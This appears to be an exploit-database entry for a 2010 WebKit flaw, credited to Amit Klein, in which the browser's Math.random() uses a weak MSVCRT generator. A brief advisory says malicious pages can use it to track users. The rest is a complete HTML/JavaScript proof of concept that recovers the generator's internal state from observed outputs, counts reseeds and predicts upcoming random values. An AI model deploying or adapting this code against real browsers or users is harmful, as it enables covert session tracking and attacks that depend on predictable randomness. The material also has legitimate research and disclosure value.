WebKit – Insufficient Entropy Random Number Generator (1)

  • 作者: Amit Klein
    日期: 2010-11-18
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/35005/
  • source: https://www.securityfocus.com/bid/44952/info
    
    WebKit is prone to a random-number-generator weakness.
    
    Attackers can exploit this issue by enticing an unsuspecting user into visiting a malicious webpage.
    
    Successful attacks will allow attackers to track user sessions and obtain personal information that can aid in further attacks.
    
    NOTE: This issue was previously covered in BID 44938 (Apple Safari Prior to 5.0.3 and 4.1.3 Multiple Security Vulnerabilities) but has been given its own record to better document it. 
    
    <html>
    <body>
    <script>
    document.write("Browser: "+navigator.userAgent);
    </script>
    <br>
    <br>
    <script>
    interval=200;
    iid=null;
    function setint()
    {
    interval=document.getElementById('x').value;
    clearInterval(iid);
    iid=setInterval("recalc()",interval);
    return;
    }
    </script>
    <form>
    Polling interval:<br>
    Use low values(e.g. 200)forPRNG statemarkdemo and reseed
    counting<br>
    Use high values (e.g. 5000) for PRNG prediction demo<br>
    <input type="text" id="x" value="200"><br>
    <input type="button" value="Change" onClick="setint();">
    </form>
    Total MSVCRT PRNG invocations (since this page load):
    <div id="total"></div><br>
    MSVCRT PRNG invocations since last reseed:
    <div id="current"></div><br>
    MSVCRT PRNG reseed count (since this page load):
    <div id="reseed"></div><br>
    MSVCRT PRNG state mark:
    <div id="mark"></div><br>
    Current Math.random():
    <div id="math_random"></div><br>
    Calculated next Math.random() values:
    <div id="next"></div><br>
    <script>
    var total_counter=0;
    var current_counter=0;
    var reseed_counter=0;
    var state=0;
    var mark=0;
    function adv(x)
    {
    return (214013*x+2531011) & 0x7FFFFFFF;
    }
    function update_counters(reseed)
    {
    document.getElementById("total").innerText=total_counter;
    document.getElementById("current").innerText=current_counter;
    document.getElementById("reseed").innerText=reseed_counter;
    document.getElementById("mark").innerText=mark;
    m=Math.random();
    state=adv(state);
    state2=adv(state);
    state2=adv(state2);
    document.getElementById("math_random").innerText=m;
    document.getElementById("next").innerText=
    ((((adv(state2)>>16)&0x7FFF)<<15)|((state2>>16)&0x7FFF))/(1<<30
    );
    state2=adv(state2);
    state2=adv(state2);
    document.getElementById("next").innerText+=" "+
    ((((adv(state2)>>16)&0x7FFF)<<15)|((state2>>16)&0x7FFF))/(1<<30
    );
    }
    function find_mark(st)
    {
    for (;;)
    {
    if ((st & 0x3FF)==0)
    {
    return st>>10;
    }
    st=adv(st);
    }
    }
    function recalc()
    {
    var rr=new Array();
    rr[0]=Math.random()*Math.pow(2,30);
    // Try to resync with the PRNG.
    // Allow up to 1000 iterations from previous sync
    for (k=0;k<1000;k++)
    {
    state=adv(state);
    if ((((state>>16)&0x7FFF)==(rr[0]&0x7FFF)) &&
    (((adv(state)>>16)&0x7FFF)==(rr[0]>>15)))
    {
    state=adv(state);
    total_counter+=k;
    current_counter+=k;
    mark=find_mark(state);
    update_counters(false);
    return;
    }
    }
    rr[1]=Math.random()*Math.pow(2,30);
    var r=new Array();
    for (i=0;i<2;i++)
    {
    r.push(rr[i] & 0x7FFF);
    r.push(rr[i]>>15);
    }
    for (v=0;v<(1<<16);v++)
    {
    state=(r[0]<<16)|v;
    for (j=1;j<4;j++)
    {
    state=adv(state);
    if (((state>>16)&0x7FFF)!=r[j])
    {
    break;
    }
    }
    if (j==4)
    {
    reseed_counter++;
    current_counter=0;
    mark=find_mark(state);
    update_counters(true);
    return;
    }
    }
    }
    recalc();
    setint();
    </script>
    </body>
    </html>